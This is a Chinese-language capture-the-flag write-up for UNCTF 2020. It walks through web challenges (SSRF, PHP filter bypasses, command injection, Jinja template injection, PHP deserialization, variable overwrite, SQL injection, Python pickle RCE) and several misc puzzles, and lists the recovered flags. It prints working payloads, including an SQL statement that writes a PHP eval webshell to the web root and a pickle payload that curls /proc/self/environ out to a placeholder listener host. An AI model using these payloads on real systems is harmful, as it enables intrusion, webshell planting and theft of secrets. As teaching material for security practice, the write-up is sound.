UNCTF 2020

Web

easy_ssrf

简单的目录穿越,构造 ?url=/unctf.com/../flag 即可得到 flag。

FLAG{78ef5928-3393-4b23-a9ca-de433e161c3a}

babyeval

根据提示,可以知道 flag 在 flag.php 中。题目过滤了括号,根据 PHP 的特性整点反引号,再用 od 来输出以绕过字符的检测,构造 ?a=echo `od -A d -c f???.???`; 可以得到 flag。

FLAG{0b8654d3-3a70-4549-bf90-ef9b58d8cfef}

UN's_online_tools

bash 指令的堆叠,过滤了一些字符,使用 %0a 作为指令分割,%09 作为指令中的分隔,构造 ?url=1.1.1.1%0aod%09-A%09d%09-c%09/f???%0a 即可得到 flag。

FLAG{d0faa519-cb49-404a-a99b-891d37c5690d}

easyflask

/register 路由下注册用户名为 admin 的用户后在 /login 下登录,回到首页后可以得到 admin login success and check the secret route /secret_route_you_do_not_know

定位到提示的路由,发现一个 guess 参数,发现存在 SSTI。继续尝试发现很多字符被 ban 了,于是尝试 attr 绕过。以 {{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} 范本,构造 attr 绕过参数,得到如下结果。

?guess={{(config|attr(request.args.param)|attr(request.args.param1)|attr(request.args.param2)|attr(request.args.param3)(request.args.param4)|attr(request.args.param5)(request.args.param6)|attr(request.args.param7)())}}
&param=__class__
&param1=__init__
&param2=__globals__
&param3=__getitem__
&param4=os
&param5=popen
&param6=ls
&param7=read

得到 __pycache__ app.py flag.txt templates error!! 的回显,可知 flag 在当前目录下,继续构造 cat flag.txt 得到 flag。

FLAG{f1065588-34fc-4817-809d-753b58da3321}

ezphp

字符串和 bool 的 true弱比较的时候相等,配合反序列化控制变量。构造出 payload 如下。

<?php
echo serialize(array(
    "username"=> true,
    "password" => true
));

得到 a:2:{s:8:"username";b:1;s:8:"password";b:1;}。将其以 POST 的方式作为参数 data 传送,即可得到 flag。

FLAG{40371f04-6f0f-4eb9-8768-85e503928711}

easyunserialize

反序列化字符逃逸,关键在于 return str_replace('challenge', 'easychallenge', $string); 的少变多的操作,可以在序列化字符串末尾拼接逃逸。计算逃逸字符数并构造 payload 如下。

<?php
echo filter(serialize(new a("LemonPrefectchallengechallengechallengechallengechallengechallengechallengechallenge\";s:8:\"password\";s:4:\"easy\";}nox", "easy")));

得到 O:1:"a":2:{s:5:"uname";s:116:"LemonPrefecteasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge";s:8:"password";s:4:"easy";}nox";s:8:"password";s:4:"easy";},将其中需要填入的参数取出,构造得 ?1=LemonPrefecteasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge";s:8:"password";s:4:"easy";}nox。将构造所得参数作为 GET 参数发起请求即可得到 flag。

FLAG{78cae2f3-89df-4ae3-a63c-23ef9efa0383}

easyphp

查看 response header 中的 X-Powered-By: PHP/7.4.5, 查阅手册可知代码中部分函数已经被停用,进而简化代码如下。

<?php

$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
function getVars()
{
    $totals = array_merge($_GET, $_POST);
    if (count($_GET)) {
        foreach ($_GET as $key => $value) {
            global ${$key};
            if (is_array($value)) {
                $temp_array = array();
                foreach ($value as $key2 => $value2) {
                    $temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
                }
                ${$key} = $_GET[$key] = $temp_array;
            } else {
                ${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
            }
        }
    }
}


getVars();
highlight_file(__FILE__);

//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
    echo 'you can set config variables!!' . '</br>';
    foreach (array_keys($GLOBALS) as $key) {
        if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
            echo strlen(($GLOBALS[$key]));
            echo "\$$key" . '="' . $GLOBALS[$key] . '";';
            @eval("\$$key" . '="' . $GLOBALS[$key] . '";');
        }
    }
} else {
    foreach (array_keys($GLOBALS) as $key) {
        if (preg_match('/var\d{1,2}/', $key)) {
            echo ($GLOBALS[$key]) . '</br>';
        }
    }
}

审计可知所有请求变量会被设置至全局,同时所有单引号和双引号均会被加上反斜杠以转义。设置环境变量的地方进行了简单的 md5 和 sha1 验证,同时对参数长度和名称做出限定。

adminPassword 可以直接利用变量的全局设定轻松覆盖,因此得到password=LemonPrefect&adminPassword=7f41a8661986fdd34d63d4cdde2249c5。查阅资料可知,0e01000111101111110010010010000001001001 的 sha1 仍然为 0e 开头,进而达成 0 == 0 的比较。利用一个全局变量加一个将被拼接执行的变量 var1 即可达成查看 phpinfo。同时,var1 需要配合语句的闭合。因此,构造 var1=\";$b();?>b=phpinfo

整理上述参数,得到 payload。

?password=LemonPrefect
&adminPassword=7f41a8661986fdd34d63d4cdde2249c5
&verif=0e01000111101111110010010010000001001001
&b=phpinfo 
&var1=\";$b();?>

将上述参数构造请求发送即可得到 phpinfo,在其中可以找到 flag。

FLAG{720731af-7dc9-45fa-b252-a82cc4601de9}

checkin-sql

看起来很像人畜无害的随便注,然而随便注的三种套路都不行。关键在于 PREPARE 与十六进制的配合。 PREPARE 可以构造出 prepare d from 0x73656c6563742f2a2a2f223c3f70687020406576616c28245f504f53545b615d293b203f3e2220696e746f206f757466696c6520272f7661722f7777772f68746d6c2f612e70687027;execute d; 这样的语句来写入一个文件,从而直接 getshell。

0x73656c6563742f2a2a2f223c3f70687020406576616c28245f504f53545b615d293b203f3e2220696e746f206f757466696c6520272f7661722f7777772f68746d6c2f612e70687027
=> select/**/"<?php @eval($_POST[a]); ?>" into outfile '/var/www/html/a.php'

getshell 之后直接构造 system("cat /flag"); 可得 flag。

easy_flask2

pickle 反序列化 参考

https://xz.aliyun.com/t/7436

/source 路由读取源码,可以发现 flag 存放在环境变量中。同时发现可控的 pickle 反序列化点,简单过滤了 R

if session.get('name'):
    if b'R' in base64.b64decode(request.cookies['pkl']):
        return "RCE??"
    person = pickle.loads(base64.b64decode(request.cookies['pkl']))

从参考处获取不含 R 的 payload,因为没有回显,所以构造一个 curl 请求来从服务端使用 nc 监听来获取文件内容。

b'''(S'curl  -F "filename=@/proc/self/environ" YOUR_HOST'
ios
system
.'''

按照题目的方式,在登陆后定向到 /login 路由后,将 payload base64 编码后设置到 pkl cookie。刷新页面,即可在监听处获取到环境变量的内容,其中包含 flag。

FLAG{a1b56cec-8b90-4e22-a8e1-98069088bb13}

Misc

阴阳人编码

就这 不会吧 都替换成 Ook 并整理符号后得到如下文本。

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook.
Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook.
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook?
Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook?
Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook.
Ook? Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook. Ook? Ook.

将其解码后得到 flag。

flag{9_zhe_Jiu_zhe_8_hui_8}

YLB's CAPTCHA - 签到题

验证码图片截下来,PS 调整色阶到能看得很清的程度,然后输入验证码,积累十个正确提交得到 flag。

UNCTF{cc95bcb8-f09e-4134-82d2-cb4446d5d93f}

baba_is_you

010editor 打开文件,发现其尾部有一个链接。

访问链接,在 B 站评论区找到 flag。

unctf{let's_study_pwn}

results matching ""

    No results matching ""